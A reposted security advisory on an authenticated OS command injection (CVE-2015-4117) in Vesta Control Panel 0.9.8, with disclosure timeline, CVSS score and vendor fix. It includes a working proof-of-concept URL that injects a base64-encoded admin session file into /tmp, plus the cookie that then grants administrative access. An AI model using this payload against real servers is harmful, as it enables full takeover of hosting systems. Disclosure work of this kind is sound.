Vesta Control Panel 0.9.8 OS Command Injection Vulnerability

2015-06-22T00:00:00
ID 1337DAY-ID-23781
Type zdt
Reporter High-Tech Bridge
Modified 2015-06-22T00:00:00

Description

Vesta Control Panel version 0.9.8 suffers from an OS command injection vulnerability.

                                        
                                            Product: Vesta Control Panel
Vendor: http://vestacp.com
Vulnerable Version(s): 0.9.8 and probably prior
Tested Version: 0.9.8
Advisory Publication:  May 20, 2015  [without technical details]
Vendor Notification: May 20, 2015 
Vendor Patch: June 3, 2015 
Public Disclosure: June 17, 2015 
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2015-4117
Risk Level: Critical 
CVSSv2 Base Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered critical vulnerability in Vesta Control Panel, which can be exploited to execute arbitrary system commands and gain complete access to the vulnerable system.

The vulnerability exists due to insufficient filtration of user-input passed via the "backup" HTTP GET parameter to "/list/backup/index.php" before using it in the PHP 'exec()' function. A remote authenticated attacker can inject arbitrary commands and execute them on the system with privileges of the default Vesta Control Panel "admin" account. 

Successful exploitation of this vulnerability may allow an attacker to gain complete control over the Vesta Control Panel and use it to advance his privileges on the system, manage installed services, reconfigure firewall, etc. Since Vesta Control Panel is a multiuser control panel for hosting multiple websites, any registered client can use the described vulnerability to compromise the entire system.

A simple exploit below will create a PHP session file in "/tmp/" directory with administrative access to Vesta Control Panel:

https://192.168.189.133:8083/list/backup/index.php?backup=123%27%20||%20  echo 'V0VCX1NZU1RFTXxzOjc6ImFwYWNoZTIiO1dFQl9SR1JPVVBTfHM6ODoid3d3LWRhdGEiO1dFQl9QT1JUfHM6NDoiODA4MCI7V0VCX1NTTHxzOjc6Im1vZF9zc2wiO1dFQl9TU0xfUE9SVHxzOjQ6Ijg0NDMiO1BST1hZX1NZU1RFTXxzOjU6Im5naW54IjtQUk9YWV9QT1JUfHM6MjoiODAiO1BST1hZX1NTTF9QT1JUfHM6MzoiNDQzIjtGVFBfU1lTVEVNfHM6NjoidnNmdHBkIjtNQUlMX1NZU1RFTXxzOjU6ImV4aW00IjtJTUFQX1NZU1RFTXxzOjc6ImRvdmVjb3QiO0FOVElWSVJVU19TWVNURU18czowOiIiO0FOVElTUEFNX1NZU1RFTXxzOjA6IiI7REJfU1lTVEVNfHM6NToibXlzcWwiO0ROU19TWVNURU18czo1OiJiaW5kOSI7U1RBVFNfU1lTVEVNfHM6MTc6IndlYmFsaXplcixhd3N0YXRzIjtCQUNLVVBfU1lTVEVNfHM6NToibG9jYWwiO0NST05fU1lTVEVNfHM6NDoiY3JvbiI7RElTS19RVU9UQXxzOjI6Im5vIjtGSVJFV0FMTF9TWVNURU18czo4OiJpcHRhYmxlcyI7RklSRVdBTExfRVhURU5TSU9OfHM6ODoiZmFpbDJiYW4iO1JFUE9TSVRPUll8czo1OiJjbW1udCI7VkVSU0lPTnxzOjU6IjAuOS44IjtMQU5HVUFHRXxzOjI6ImVuIjtsYW5ndWFnZXxzOjI6ImVuIjt1c2VyfHM6NToiYWRtaW4iO2JhY2t8czoxMToiL2xpc3QvdXNlci8iOw==' | base64 --decode > /tmp/sess_12345%20||%20echo%20\
  
After successful creation of PHP session file, the following cookie can be used to gain administrative access:
 
 
GET / HTTP/1.1
Cookie: mp_b5e6ddf58b2d02245a7a19005d1cec48_mixpanel=%7B%22distinct_id%22%3A%20%2214d5bb8613c39-02d2d6f80b48dc8-44564136-1fa400-14d5bb8613d828%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2F192.168.189.133%3A8000%2F%22%2C%22%24initial_referring_domain%22%3A%20%22192.168.189.133%3A8000%22%7D; PHPSESSID=12345



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Solution:

Update to Vesta Control Panel 0.9.8-14

More Information:
http://vestacp.com/roadmap/#history

#  0day.today [2018-01-02]  #